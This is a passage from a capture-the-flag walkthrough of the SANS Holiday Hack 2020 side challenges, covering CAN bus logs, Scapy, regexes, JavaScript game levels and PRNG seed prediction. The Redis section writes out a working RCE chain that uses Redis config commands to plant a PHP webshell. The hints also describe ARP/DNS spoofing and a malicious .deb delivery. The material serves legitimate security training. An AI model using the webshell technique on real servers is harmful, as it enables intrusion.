\u0026lsquo;{print substr($3, 0, 4)}\u0026rsquo; | sort | uniq -c\n35 188 3 19B\n1331 244 So it seems that the ID 19B is our candidate! If we filter them, we get:\n$ cat candump.log | grep 19B#\n(1608926664.626448) vcan0 19B#000000000000 # LOCK\n(1608926671.122520) vcan0 19B#00000F000000 # UNLOCK\n(1608926674.092148) vcan0 19B#000000000000 # LOCK We can now send our answer to validate the challenge:\n$ ./runtoanswer\nThere are two LOCK codes and one UNLOCK code in the log. What is the decimal portion of the UNLOCK timestamp?\n(e.g., if the timestamp of the UNLOCK were 1608926672.391456, you would enter 391456.\n\u0026gt; 122520 Wunorse seems still worried though:\nWunorse Openslae:\nGreat work! You found the code! I wonder if I can use this knowledge to work out some kind of universal unlocker … to be used only with permission, of course!\nSay, do you have any thoughts on what might fix Santa\u0026rsquo;s sleigh? Turns out: Santa\u0026rsquo;s sleigh uses a variation of CAN bus that we call CAN-D bus. And there\u0026rsquo;s something naughty going on in that CAN-D bus.\nThe brakes seem to shudder when I put some pressure on them, and the doors are acting oddly. I\u0026rsquo;m pretty sure we need to filter out naughty CAN-D-ID codes. There might even be some valid IDs with invalid data bytes.\nFor security reasons, only Santa is allowed access to the sled and its CAN-D bus. I\u0026rsquo;ll hit him up next time he\u0026rsquo;s nearby.\n We get a hint to complete Objective 7:\n CAN ID Codes - Try filtering out one CAN-ID at a time and create a table of what each might pertain to. What\u0026rsquo;s up with the brakes and doors? 6 - Redis Bug Hunt [ELF] Holly Evergreen [LOCATION] Kitchen CranPi Terminal 6 location Holly Evergreen:\nHi, so glad to see you! I\u0026rsquo;m Holly Evergreen. I\u0026rsquo;ve been working with this Redis-based terminal here.\nWe\u0026rsquo;re quite sure there\u0026rsquo;s a bug in it, but we haven\u0026rsquo;t caught it yet. The maintenance port is available for curling, if you\u0026rsquo;d like to investigate.\nCan you check the source of the index.php page and look for the bug?\nI read something online recently about remote code execution on Redis. That might help! I think I got close to RCE, but I get mixed up between commas and plusses.\nYou\u0026rsquo;ll figure it out, I\u0026rsquo;m sure!\n Redis RCE - This is kind of what we\u0026rsquo;re trying to do\u0026hellip; The terminal shows the following instructions:\nWe need your help!! The server stopped working, all that\u0026rsquo;s left is the maintenance port.\nTo access it, run:\ncurl http://localhost/maintenance.php\nWe\u0026rsquo;re pretty sure the bug is in the index page. Can you somehow use the maintenance page to view the source code for the index page? Let\u0026rsquo;s curl the page and see what happens:\n$ curl http://localhost/maintenance.php\nERROR: \u0026lsquo;cmd\u0026rsquo; argument required (use commas to separate commands); eg:\ncurl http://localhost/maintenance.php?cmd=help\ncurl http://localhost/maintenance.php?cmd=mget,example1 We can run commands through the cmd variable. If we try the help command:\nredis help We see that our command is used as argument to redis-cli to show the Redis help. Let\u0026rsquo;s try the info command to show some server information:\nredis info As explained by Holly, we may exploit an RCE vulnerability in Redis. We can follow this procedure to write a PHP file in the web files and execute system calls. Spaces in commands must be replaced by commas. In our case, the web files are located in /var/www/html, so to change Redis working directory, we have to execute:\ncurl http://localhost/maintenance.php?cmd=config,set,dir,/var/www/html Then we set the file in which we want to write as the current database (here we create a new file rce.php):\ncurl http://localhost/maintenance.php?cmd=config,set,dbfilename,rce.php We create a dummy value test containing what we want to write into the database file. As the goal is to read index.php, we can use the PHP system call to display it. Do not forget to URL-encode special characters:\ncurl http://localhost/maintenance.php?cmd=set,test,%3C%3Fphp%20echo%28system%28%22cat%20index.php%22%29%29%3b%3F%3E Finally, we dump the Redis buffer containing our test value into our rce.php file with the save command:\ncurl http://localhost/maintenance.php?cmd=save Now we can curl our new PHP file to see the content of the index.php file and validate the challenge:\ncurl http://localhost/rce.php --output - Holly gives us some hints to complete Objective 8:\nHolly Evergreen:\nSee? I knew you could to it!\nI wonder, could we figure out the problem with the Tag Generator if we can get the source code? Can you figure out the path to the script? I\u0026rsquo;ve discovered that enumerating all endpoints is a really good idea to understand an application\u0026rsquo;s functionality. Sometimes I find the Content-Type header hinders the browser more than it helps. If you find a way to execute code blindly, maybe you can redirect to a file then download that file?\n Source Code Retrieval - We might be able to find the problem if we can get source code! Error Page Message Disclosure - Can you figure out the path to the script? It\u0026rsquo;s probably on error pages! Download File Mechanism - Once you know the path to the file, we need a way to download it! Endpoint Exploration - Is there an endpoint that will print arbitrary files? Content-Type Gotcha - If you\u0026rsquo;re having trouble seeing the code, watch out for the Content-Type! Your browser might be trying to help (badly)! Source Code Analysis - I\u0026rsquo;m sure there\u0026rsquo;s a vulnerability in the source somewhere\u0026hellip; surely Jack wouldn\u0026rsquo;t leave their mark? Redirect to Download - If you find a way to execute code blindly, I bet you can redirect to a file then download that file! Patience and Timing - Remember, the processing happens in the background so you might need to wait a bit after exploiting but before grabbing the output! 7 - Scapy Prepper [ELF] Alabaster Snowball [LOCATION] Roof CranPi 7 location Alabaster Snowball:\nWelcome to the roof! Alabaster Snowball here.\nI\u0026rsquo;m watching some elves play NetWars! Feel free to try out our Scapy Present Packet Prepper! If you get stuck, you can help() to see how to get tasks and hints.\n terminal instructions This is a challenge around Scapy. Scapy is a Python program and library used to manipulate, sniff and dissect network packets. We will go through a few questions that will lead us through the basic usage of Scapy:\nQ1: Submit the class object of the scapy module that sends packets at layer 3 of the OSI model. \u0026gt;\u0026gt;\u0026gt; task.submit(send)\nCorrect! The \u0026ldquo;send\u0026rdquo; scapy class will send a crafted scapy packet out of a network interface. Q2: Submit the class object of the scapy module that sniffs network packets and returns those packets in a list. \u0026gt;\u0026gt;\u0026gt; task.submit(sniff)\nCorrect! the \u0026ldquo;sniff\u0026rdquo; scapy class will sniff network traffic and return these packets in a list. Q3: Submit the NUMBER only from the choices below that would successfully send a TCP packet and then return the first sniffed response packet to be stored in a variable named \u0026ldquo;pkt\u0026rdquo;:\n pkt = sr1(IP(dst=\u0026ldquo;127.0.0.1\u0026rdquo;)/TCP(dport=20)) pkt = sniff(IP(dst=\u0026ldquo;127.0.0.1\u0026rdquo;)/TCP(dport=20)) pkt = sendp(IP(dst=\u0026ldquo;127.0.0.1\u0026rdquo;)/TCP(dport=20)) \u0026gt;\u0026gt;\u0026gt; task.submit(1)\nCorrect! sr1 will send a packet, then immediately sniff for a response packet. Q4: Submit the class object of the scapy module that can read pcap or pcapng files and return a list of packets. \u0026gt;\u0026gt;\u0026gt; task.submit(rdpcap)\nCorrect! the \u0026ldquo;rdpcap\u0026rdquo; scapy class can read pcap files. Q5: The variable UDP_PACKETS contains a list of UDP packets. Submit the NUMBER only from the choices below that correctly prints a summary of UDP_PACKETS:\n UDP_PACKETS.print() UDP_PACKETS.show() UDP_PACKETS.list() \u0026gt;\u0026gt;\u0026gt; task.submit(2)\nCorrect! .show() can be used on lists of packets AND on an individual packet. Q6: Submit only the first packet found in UDP_PACKETS. \u0026gt;\u0026gt;\u0026gt; task.submit(UDP_PACKETS[0])\nCorrect! Scapy packet lists work just like regular python lists so packets can be accessed by their position in the list starting at offset 0. Q7: Submit only the entire TCP layer of the second packet in TCP_PACKETS. \u0026gt;\u0026gt;\u0026gt; task.submit(TCP_PACKETS[1][TCP])\nCorrect! Most of the major fields like Ether, IP, TCP, UDP, ICMP, DNS, DNSQR, DNSRR, Raw, etc\u0026hellip; can be accessed this way. Ex - pkt[IP][TCP] Q8: Change the source IP address of the first packet found in UDP_PACKETS to 127.0.0.1 and then submit this modified packet \u0026gt;\u0026gt;\u0026gt; UDP_PACKETS[0][IP].src = \u0026lsquo;127.0.0.1\u0026rsquo;\n\u0026gt;\u0026gt;\u0026gt; task.submit(UDP_PACKETS[0])\nCorrect! You can change ALL scapy packet attributes using this method. Q9: Submit the password \u0026ldquo;task.submit(\u0026lsquo;elf_password\u0026rsquo;)\u0026rdquo; of the user alabaster as found in the packet list TCP_PACKETS. We can list all TCP info in all the packets with:\n\u0026gt;\u0026gt;\u0026gt; [pkt[TCP] for pkt in TCP_PACKETS] We see some packets with Raw data. The 7th packet contains a password:\n\u0026gt;\u0026gt;\u0026gt; TCP_PACKETS[6]\n\u0026lt;Ether dst=00:15:f2:40:76:ef src=00:16:ce:6e:8b:24 type=IPv4 |\u0026lt;IP version=4 ihl=5 tos=0x0 len=51 id=42982 flags=DF frag=0 ttl=128 proto=tcp chksum=0xd05a src=192.168.0.114 dst=192.168.0.193 |\u0026lt;TCP sport=1137 dport=ftp seq=3753095950 ack=3334930821 dataofs=5 reserved=0 flags=PA window=17357 chksum=0xe96b urgptr=0 |\u0026lt;Raw load=\u0026lsquo;PASS echo\\r\\n\u0026rsquo; |\u0026gt;\u0026gt;\u0026gt;\u0026gt;\n\u0026gt;\u0026gt;\u0026gt; task.submit(\u0026lsquo;echo\u0026rsquo;)\nCorrect! Here is some really nice list comprehension that will grab all the raw payloads from tcp packets:\n[pkt[Raw].load for pkt in TCP_PACKETS if Raw in pkt]\n By running the recommended command, we see that this is an FTP flow:\n\u0026gt;\u0026gt;\u0026gt; [pkt[Raw].load for pkt in TCP_PACKETS if Raw in pkt]\n[b'220 North Pole FTP Server\\r\\n', b\u0026rsquo;USER alabaster\\r', b'331 Password required for alabaster.\\r', b\u0026rsquo;PASS echo\\r\\n', b'230 User alabaster logged in.\\r'] Q10: The ICMP_PACKETS variable contains a packet list of several icmp echo-request and icmp echo-reply packets. Submit only the ICMP chksum value from the second packet in the ICMP_PACKETS list. \u0026gt;\u0026gt;\u0026gt; hex(ICMP_PACKETS[1][ICMP].chksum)\n\u0026lsquo;0x4c44\u0026rsquo;\n\u0026gt;\u0026gt;\u0026gt; task.submit(0x4c44)\nCorrect! You can access the ICMP chksum value from the second packet using ICMP_PACKETS[1][ICMP].chksum .\n Q11: Submit the number of the choice below that would correctly create a ICMP echo request packet with a destination IP of 127.0.0.1 stored in the variable named \u0026ldquo;pkt\u0026rdquo;\n pkt = Ether(src=\u0026lsquo;127.0.0.1\u0026rsquo;)/ICMP(type=\u0026ldquo;echo-request\u0026rdquo;) pkt = IP(src=\u0026lsquo;127.0.0.1\u0026rsquo;)/ICMP(type=\u0026ldquo;echo-reply\u0026rdquo;) pkt = IP(dst=\u0026lsquo;127.0.0.1\u0026rsquo;)/ICMP(type=\u0026ldquo;echo-request\u0026rdquo;) \u0026gt;\u0026gt;\u0026gt; task.submit(3)\nCorrect! Once you assign the packet to a variable named \u0026ldquo;pkt\u0026rdquo; you can then use that variable to send or manipulate your created packet. Q12: Create and then submit a UDP packet with a dport of 5000 and a dst IP of 127.127.127.127. (all other packet attributes can be unspecified) \u0026gt;\u0026gt;\u0026gt; pkt = IP(dst=\u0026ldquo;127.127.127.127\u0026rdquo;)/UDP(dport=5000)\n\u0026gt;\u0026gt;\u0026gt; task.submit(pkt)\nCorrect! Your UDP packet creation should look something like this:\npkt = IP(dst=\u0026ldquo;127.127.127.127\u0026rdquo;)/UDP(dport=5000)\ntask.submit(pkt) Q13: Create and then submit a UDP packet with a dport of 53, a dst IP of 127.2.3.4, and is a DNS query with a qname of \u0026ldquo;elveslove.santa\u0026rdquo;. (all other packet attributes can be unspecified) \u0026gt;\u0026gt;\u0026gt; pkt = IP(dst=\u0026ldquo;127.2.3.4\u0026rdquo;)/UDP(dport=53)/DNS(qd=DNSQR(qname=\u0026ldquo;elveslove.santa\u0026rdquo;))\n\u0026gt;\u0026gt;\u0026gt; task.submit(pkt)\nCorrect! Your UDP packet creation should look something like this:\npkt = IP(dst=\u0026ldquo;127.2.3.4\u0026rdquo;)/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname=\u0026ldquo;elveslove.santa\u0026rdquo;))\ntask.submit(pkt) Q14: The variable ARP_PACKETS contains an ARP request and response packets. The ARP response (the second packet) has 3 incorrect fields in the ARP layer. Correct the second packet in ARP_PACKETS to be a proper ARP response and then task.submit(ARP_PACKETS) for inspection. Let\u0026rsquo;s look at the second packet:\n\u0026gt;\u0026gt;\u0026gt; ARP_PACKETS[1]\n\u0026lt;Ether dst=00:16:ce:6e:8b:24 src=00:13:46:0b:22:ba type=ARP |\u0026lt;ARP hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=None hwsrc=ff:ff:ff:ff:ff:ff psrc=192.168.0.1 hwdst=ff:ff:ff:ff:ff:ff pdst=192.168.0.114 |\u0026lt;Padding load='\\xc0\\xa8\\x00r' |\u0026gt;\u0026gt;\u0026gt; The errors are:\n hwsrc and hwdst are set to ff:ff:ff:ff:ff:ff and should be set to the Ethernet src and dst value, the op value is set to None and should instead be set to \u0026lsquo;reply\u0026rsquo; that has a value of 2. \u0026gt;\u0026gt;\u0026gt; ARP_PACKETS[1][ARP].hwsrc=\u0026ldquo;00:13:46:0b:22:ba\u0026rdquo;\n\u0026gt;\u0026gt;\u0026gt; ARP_PACKETS[1][ARP].hwdst=\u0026ldquo;00:16:ce:6e:8b:24\u0026rdquo;\n\u0026gt;\u0026gt;\u0026gt; ARP_PACKETS[1][ARP].op=2\n\u0026gt;\u0026gt;\u0026gt; task.submit(ARP_PACKETS)\nGreat, you prepared all the present packets!\nCongratulations, all pretty present packets properly prepared for processing! We can easily escape the Python interpreter by running:\n\u0026gt;\u0026gt;\u0026gt; import os\n\u0026gt;\u0026gt;\u0026gt; os.system('/bin/bash') We talk again to Alabaster so that he gives us some hints to complete Objective 9:\nAlabaster Snowball:\nGreat job! Thanks! Those skills might be useful to you later on!\nI\u0026rsquo;ve been trying those skills out myself on this other terminal. I\u0026rsquo;m pretty sure I can use tcpdump to sniff some packets. Then I\u0026rsquo;m going to try a machine-in-the-middle attack.\nNext, I\u0026rsquo;ll spoof a DNS response to point the host to my terminal. Then I want to respond to its HTTP request with something I\u0026rsquo;ll cook up. I\u0026rsquo;m almost there, but I can\u0026rsquo;t quite get it. I could use some help!\nFor privacy reasons though, I can\u0026rsquo;t let you access this other terminal. I do plan to ask Santa for a hand with it next time he\u0026rsquo;s nearby, though.\n Sniffy - Jack Frost must have gotten malware on our host at 10.6.6.35 because we can no longer access it. Try sniffing the eth0 interface using tcpdump -nni eth0 to see if you can view any traffic from that host. Spoofy - The host is performing an ARP request. Perhaps we could do a spoof to perform a machine-in-the-middle attack. I think we have some sample scapy traffic scripts that could help you in /home/guest/scripts. Resolvy - Hmmm, looks like the host does a DNS request after you successfully do an ARP spoof. Let\u0026rsquo;s return a DNS response resolving the request to our IP. Embedy - The malware on the host does an HTTP request for a .deb package. Maybe we can get command line access by sending it a command in a customized .deb file. Side Quests The 33.6kbps Modem Fitzy is waiting for us in the kitchen and has some issues with an old modem:\nFitzy Shortstack:\n\u0026ldquo;Put it in the cloud\u0026rdquo;, they said… \u0026ldquo;It\u0026rsquo;ll be great\u0026rdquo;, they said…\nAll the lights on the Christmas trees throughout the castle are controlled through a remote server. We can shuffle the colors of the lights by connecting via dial-up, but our only modem is broken!\nFortunately, I speak dial-up. However, I can\u0026rsquo;t quite remember the handshake sequence. Maybe you can help me out? The phone number is 756–8347; you can use this blue phone.\n Fitzy Shortstack location When we access the modem, we have to take the handset, compose the phone number we were given and then manually do the handshake based on the \u0026ldquo;well-known\u0026rdquo; dial-up modem sounds that old people, like me, still dream of :) You can see the solution below:\n\nOnce completed, Fitzy says:\nFitzy Shortstack:\n탢ݵרOُ񆨶$Ԩ؉楌Բ ahem! We did it! Thank you!!\nAnytime you feel like changing the color scheme up, just pick up the phone! You know, Santa really seems to trust Shinny Upatree… If we do it a few more times, we can change the color scheme of the Christmas tree behind.\nThe Sort-O-Matic [ELF] Minty Candycane [LOCATION] Workshop Sort-O-Matic location We find Minty in the Workshop, he is struggling with a present sorting machine:\nMinty Candycane:\nHey there, KringleCon attendee! I\u0026rsquo;m Minty Candycane!\nI\u0026rsquo;m working on fixing the Present Sort-O-Matic. The Sort-O-Matic uses JavaScript regular expressions to sort presents apart from misfit toys, but it\u0026rsquo;s not working right. With some tools, regexes need / at the beginning and the ends, but they aren\u0026rsquo;t used here.\nYou can find a regular expression cheat sheet here if you need it. You can use this regex interpreter to test your regex against the required Sort-O-Matic patterns.\nDo you think you can help me fix it?\n JavaScript Regex Cheat Sheet - Handy quick reference for JS regular expression construction: https://www.debuggex.com/cheatsheet/regex/javascript. Regex Practice - Here\u0026rsquo;s a place to try out your JS Regex expressions: https://regex101.com/. This challenge can as well be done on https://present-sorter.kringlecastle.com/.\nPresent Sort-O-Matic We basically have to find the 8 regexes below in order to repair the Present Sort-O-Matic:\nregexes The solutions are:\n Description Regex Matches at least one digit [0-9] or \\d Matches 3 alpha a-z characters ignoring case [a-zA-Z]{3} Matches 2 chars of lowercase a-z or numbers [a-z\\d]{2} Matches any 2 chars not uppercase A-L or 1-5 [^A-L1-5]{2} Matches three or more digits only ^\\d{3,}$ Matches multiple hour:minute:second time formats only ^([0-5]\\d):([0-5]\\d):([0-5]\\d)$ Matches MAC address format only while ignoring case ^([\\dA-Fa-f]{2}:){5}([\\dA-Fa-f]{2})$ Matches multiple day, month, and year date formats only ^[0–3]\\d[-./][0–1]\\d[-./]\\d{4}$ We passed the challenge and now all presents are sorted correctly:\nSort-O-Matic fixed Minty gives us some hints to complete Objective 6:\nMinty Candycane:\nGreat job! You make this look easy!\nHey, have you tried the Splunk challenge? Are you newer to SOC operations? Maybe check out his intro talk from last year. Dave Herrald is doing a great talk on tracking adversary emulation through Splunk! Don\u0026rsquo;t forget about useful tools including Cyber Chef for decoding and decrypting data!\nIt\u0026rsquo;s down in the Great Room, but oh, they probably won\u0026rsquo;t let an attendee operate it.\n Adversary Emulation and Splunk - Dave Herrald talks about emulating advanced adversaries and hunting them with Splunk. Data Decoding and Investigation - Defenders often need to manipulate data to decRypt, deCode, and reform it into something that is useful. Cyber Chef is extremely useful here! The Elf C0de [ELF] Ribb Bonbowford [LOCATION] Dining Room The Elf C0de location A fun game awaits us in the Dining Room:\nRibb Bonbowford:\nHello - my name is Ribb Bonbowford. Nice to meet you!\nAre you new to programming? It\u0026rsquo;s a handy skill for anyone in cyber security. This challenge centers around JavaScript. Take a look at this intro and see how far it gets you!\nReady to move beyond elf commands? Don\u0026rsquo;t be afraid to mix in native JavaScript. Trying to extract only numbers from an array? Have you tried to filter? Maybe you need to enumerate an object\u0026rsquo;s keys and then filter? Getting hung up on number of lines? Maybe try to minify your code.\nIs there a way to push array items to the beginning of an array? Hmm\u0026hellip;\n The following hints are given by the elf:\n JavaScript Primer - Want to learn a useful language? JavaScript is a great place to start! You can also test out your code using a JavaScript playground. JavaScript Loops - Did you try the JavaScript primer? There\u0026rsquo;s a great section on looping. Filtering Items - There\u0026rsquo;s got to be a way to filter for specific typeof items in an array. Maybe the typeof operator could also be useful? Getting a Key Name - In JavaScript you can enumerate an object\u0026rsquo;s keys using keys, and filter the array using filter. Compressing JS - There are lots of ways to make your code shorter, but the number of elf commands is key. Adding to Arrays - var array = [2, 3, 4]; array.push(1) doesn\u0026rsquo;t do QUITE what was intended\u0026hellip; This challenge is a Javascript primer and can be as well accessed through https://elfcode.kringlecastle.com:\nThe Elf C0de - landing page There are many levels and the goal of each level is always to program our elf to grab all the lollipops and reach the castle entrance by avoiding all the dangers on the map. The Object Help menu on the left as well as the How To Play The Elf C0de are good places to start.\nLevel 1: Program the elf to the end goal in no more than 2 lines of code and no more than 2 elf commands. level 1 map It starts easy and we have 2 different solutions to move the elf:\n1 2 elf.moveLeft(10) elf.moveUp(10) or\n1 2 elf.moveTo(lollipop[0]) elf.moveUp(10) Level 2: Program the elf to the end goal in no more than 5 lines of code and no more than 5 elf command/function execution statements in your code. level 2 map The lever #0 objective is to add 2 to the returned numeric value of running the function elf.get_lever(0). We can submit the solution using elf.pull_lever(answer) while standing on the lever grid square. The solution is:\n1 2 3 4 5 elf.moveTo(lever[0]) var sum = elf.get_lever(0) + 2 elf.pull_lever(sum) elf.moveLeft(4) // elf.moveTo(lollipop[0]) does not work here elf.moveUp(10) Level 3: Program the elf to the end goal in no more than 4 lines of code and no more than 4 elf command/function execution statements in your code. level 3 map We can think of 2 different solutions here as well, one of them introducing loops:\n1 2 3 4 elf.moveTo(lollipop[0]) elf.moveTo(lollipop[1]) elf.moveTo(lollipop[2]) elf.moveUp(1) or\n1 2 3 4 for (var i = 0; i \u0026lt; 3; i++) { elf.moveTo(lollipop[i]) } elf.moveUp(1) Level 4: Program the elf to the end goal in no more than 7 lines of code and no more than 6 elf command/function execution statements in your code. level 4 map Here, we can loop 5 times, by alternating up and down directions, to guide the elf through the labyrinth:\n1 2 3 4 for (var i = 0; i \u0026lt;= 5; i++) { elf.moveLeft(3) i % 2 == 0 ? elf.moveUp(11) : elf.moveDown(11) } Level 5: Program the elf to the end goal in no more than 10 lines of code and no more than 5 elf command/function execution statements in your code.. level 5 map The munchkin #0 objective is to use elf.ask_munch(0) to get an array of numbers and strings and to return the array with only the number with elf.tell_munch(answer).\nSolution:\n1 2 3 4 5 var arr = elf.ask_munch(0) arr = arr.filter(e =\u0026gt; typeof e !== \u0026#39;string\u0026#39;) elf.moveTo(lollipop[0]) // will retrieve both lollipops! elf.tell_munch(arr) elf.moveUp(2) Level 6: Program the elf to the end goal in no more than 15 lines of code and no more than 7 elf command/function execution statements in your code. level 6 map There are 2 possible paths here. The first one involves pulling the lever to make the Munchkin fall. The other one involves answering the Munchkin question to let us pass. For both solutions, we can easily get out of the labyrinth by only using elf.moveTo(object) calls.\nThe lever #0 objective is to get an array and add the string munchkin rule as the first element. The munchkin #0 objective is to get a JSON object and we must return the key with a value of lollipop.\nSolution 1 (with lever):\n1 2 3 4 5 6 7 8 9 10 for (var i = 0; i \u0026lt; 4; i++) { elf.moveTo(lollipop[i]) } elf.moveTo(lever[0]) var arr = elf.get_lever(0) arr.unshift(\u0026#34;munchkins rule\u0026#34;) elf.pull_lever(arr) elf.moveDown(3) elf.moveLeft(6) elf.moveUp(2) Solution 2 (with Munchkin):\n1 2 3 4 5 6 7 8 9 var json = elf.ask_munch(0) var answer = Object.keys(json).find(key =\u0026gt; json[key] === \u0026#34;lollipop\u0026#34;) for (var i = 0; i \u0026lt; 4; i++) { elf.moveTo(lollipop[i]) } elf.moveLeft(8) elf.moveUp(2) elf.tell_munch(answer) elf.moveUp(2) We have passed the main levels and Ribb rewards us with a hint for Objective 10:\nRibb Bonbowford:\nWow - are you a JavaScript developer? Great work!\nHey, you know, you might use your JavaScript and HTTP manipulation skills to take a crack at bypassing the Santavator\u0026rsquo;s S4. There may be a way to bypass the Santavator S4 game with the browser console\u0026hellip; There are still some bonus levels to complete though!!\nLevel 7: Program the elf to the end goal in no more than 25 lines of code and no more than 10 elf command/function execution statements in your code. level 7 map The levers' objectives are all the same, we need to respond with the lever number and that\u0026rsquo;s it. Each lever will lift the next bridge.\nThe Munchkin #0 objective is:\nMunchkin #0 objective There is an additional handicap: elf.moveTo(object) has been disabled. The solution is:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 for (var i = 0; i \u0026lt; 4; i++) { j = 2 * i i % 2 == 0 ? elf.moveDown(j + 1) : elf.moveUp(j + 1) elf.pull_lever(j) i % 2 == 0 ? elf.moveLeft(j + 2) : elf.moveRight(j + 2) elf.pull_lever(j + 1) } elf.moveUp(2) elf.moveLeft(4) function f(arr) { var sum = 0 for (var i = 0; i \u0026lt; arr.length; i++) { a = arr[i].filter(e =\u0026gt; typeof e !== \u0026#39;string\u0026#39;) sum = sum + a.reduce((a, b) =\u0026gt; a + b, 0) } return sum } elf.tell_munch(f) elf.moveUp(2) Level 8: Program the elf to the end goal in no more than 40 lines of code and no more than 10 elf command/function execution statements in your code. level 8 map The levers' objectives are all the same, we need to respond with the lever value that it returns added to the values of all the previous levers. Each lever will lift the next bridge.\nThe Munchkin #0 objective is:\nMunchkin #0 objective Again, there is an additional handicap: elf.moveTo(object) has been disabled.\nSolution:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 var sum = 0 var answer = \u0026#34;\u0026#34; for (var i = 0; i \u0026lt; 6; i++) { j = 2 * i + 1 i % 2 == 0 ? elf.moveRight(j) : elf.moveLeft(j) sum = sum + elf.get_lever(i) elf.pull_lever(sum) elf.moveUp(j + 2) } function f(json) { for (var i = 0; i \u0026lt; json.length; i++) { answer = Object.keys(json[i]).find(key =\u0026gt; json[i][key] === \u0026#34;lollipop\u0026#34;) if (answer) { return answer } } return 0 } elf.tell_munch(f) elf.moveRight(11) And with that, we completed all the Javascript challenges:\nGave Over! Snowball Game [ELF] Tangle Coalbox [LOCATION] Speaker UNpreparedness Room Snowball Game location The last game is monitored by Tangle Coalbox:\nTangle Coalbox:\nHowdy gumshoe. I\u0026rsquo;m Tangle Coalbox, resident sleuth in the North Pole.\nIf you\u0026rsquo;re up for a challenge, I\u0026rsquo;d ask you to look at this here Snowball Game. We tested an earlier version this summer, but that one had web socket vulnerabilities. This version seems simple enough on the Easy level, but the Impossible level is, well… I\u0026rsquo;d call it impossible, but I just saw someone beat it! I\u0026rsquo;m sure something\u0026rsquo;s off here.\nCould it be that the name a player provides has some connection to how the forts are laid out? Knowing that, I can see how an elf might feed their Hard name into an Easy game to cheat a bit.\nBut on Impossible, the best you get are rejected player names in the page comments. Can you use those somehow?\nCheck out Tom Liston\u0026rsquo;s talk for more info, if you need it.\n And the hints he gives us are:\n PRNG Seeding - While system time is probably most common, developers have the option to seed pseudo-random number generators with other values. Extra Instances - Need extra Snowball Game instances? Pop them up in a new tab from https://snowball2.kringlecastle.com. Mersenne Twister - Python uses the venerable Mersenne Twister algorithm to generate PRNG values after seed. Given enough data, an attacker might predict upcoming values. Twisted Talk - Tom Liston is giving two talks at once - amazing! One is about the Mersenne Twister. We can as well directly access the game from https://snowball2.kringlecastle.com/ which will be more convenient for analysis. The game is an equivalent of the Battleship board game, we need to throw snowballs and hit the hidden snow forts until we destroy all of them. There are 4 different difficulties.\nSnowball Fight Easy and Medium:\nIn the Easy and Medium level, we can choose the Player Name and can beat the game quite easily by playing normally as the computer is not very smart:\neasy game When we win we get the following message:\ngame win In the case we loose we get:\ngame Over So if our understanding is correct, in the Easy and Medium level we can choose what is the seed used to generate the board. This means that if we use always the same seed, the board will always be the same. And it appears that the seed used on these levels is the Player Name. For instance, for a seed=noobintheshell we get the following enemy board each time:\nsolution board seed=noobintheshell The same goes for our board that is as well always the same for a given seed.\nHard:\nIn Hard mode, we can\u0026rsquo;t choose the seed, however, we see it (our Player Name) when we start the game. So what we can do to beat this level is to run the game in Easy mode (in another tab) with the seed used in Hard mode. We will know where the snow castles are.\nImpossible:\nIn this mode, we can\u0026rsquo;t make any single mistake as the attacker is successful at each turn.\nHere, we do not get to know the seed used at all. However, we get to know from the game description that hundreds of random seed are generated before one is picked up. The tested ones are shown in the HTML code of the page:\nrandom seeds attempted - snippet As we know from the hints, the Python random function is used to generate those random numbers. This function uses the Marsenne-Twister algorithm for the PRNG. This algorithm has a known weakness: if we have enough consecutive random numbers, we can possibly predict the next ones. We can use the marsene-twister-predictor to achieve that. We can install it with:\n$ pip3 install mersenne-twister-predictor Then we need to get the list of random numbers that we saw in the HTML code in a text file, one number per line. For the prediction to work, we need exactly the last 624 generated random numbers because Marsene-Twister uses a state table of 624 values. Then simply call the below command to get the next random number:\n$ cat random_numbers.txt | mt19937predict | head -n 1\n71766020 Then, as for the Hard level, we can use this seed on the Easy level to get the castle placement and beat the Impossible level:\nimpossible win! To validate the challenge, this must be done from inside the game terminal, not from the dedicated website. Tangle gives us some hints to beat Objective 11a and Objective 11b:\nTangle Coalbox:\nCrikey - that\u0026rsquo;s it! You\u0026rsquo;ve done the Impossible! You\u0026rsquo;ve impressed this old elf today. Great work identifying and abusing the pseudo-random sequence.\nNow, the REAL question is, how else can this be abused? Do you think someone could try and cheat the Naughty/Nice Blockchain with this? If you have control over to bytes in a file, it\u0026rsquo;s easy to create MD5 hash collisions. Problem is: there\u0026rsquo;s that nonce that he would have to know ahead of time.\nA blockchain works by \u0026ldquo;chaining\u0026rdquo; blocks together - so there\u0026rsquo;s no way that Jack could change it without it messing up the chain… Maybe if you look at the block that seems like it got changed, it might help. If Jack was able to change the block AND the document without changing the hash… that would require a very UNIque hash COLLision.\nApparently Jack was able to change just 4 bytes in the block to completely change everything about it. It\u0026rsquo;s like some sort of evil game to him. That\u0026rsquo;s about all the help I can give you, kid, but Prof. Petabyte may have more.\n MD5 Hash Collisions - If you have control over to bytes in a file, it\u0026rsquo;s easy to create MD5 hash collisions. Problem is: there\u0026rsquo;s that nonce that he would have to know ahead of time. Blockchain \u0026hellip; Chaining - A blockchain works by \u0026ldquo;chaining\u0026rdquo; blocks together - each new block includes a hash of the previous block. That previous hash value is included in the data that is hashed - and that hash value will be in the next block. So there\u0026rsquo;s no way that Jack could change an existing block without it messing up the chain\u0026hellip; Blockchain Talk - Qwerty Petabyte is giving a talk about blockchain tomfoolery! Block Investigation - The idea that Jack could somehow change the data in a block without invalidating the whole chain just collides with the concept of hashes and blockchains. While there\u0026rsquo;s no way it could happen, maybe if you look at the block that seems like it got changed, it might help. Unique Hash Collision - If Jack was somehow able to change the contents of the block AND the document without changing the hash\u0026hellip; that would require a very UNIque hash COLLision. Imposter Block Event - Shinny Upatree swears that he doesn\u0026rsquo;t remember writing the contents of the document found in that block. Maybe looking closely at the documents, you might find something interesting. Minimal Changes - Apparently Jack was able to change just 4 bytes in the block to completely change everything about it. It\u0026rsquo;s like some sort of evil game to him. Items Some items are spread around the Santa\u0026rsquo;s castle. At the exception of the Proxmark3, used to complete Objective 5, the items can only be used to operate the Santavator. Here is their location:\n Item Location Description Broken Candycane Near the castle entrance, on the floor Like one you\u0026rsquo;d find between the couch cushions Hex Nut 1 Entry Area next to the Santavator An unremarkable, stainless steel, hex nut Hex Nut 2 Dining Room, hidden under the table An unremarkable, stainless steel, hex nut Green Bulb Top left corner of the Courtyard It\u0026rsquo;s a green bulb from those big, old-school christmas lights. Elevator Service Key Talk to Sparkle Redberry next to the Satavator This key opens the service 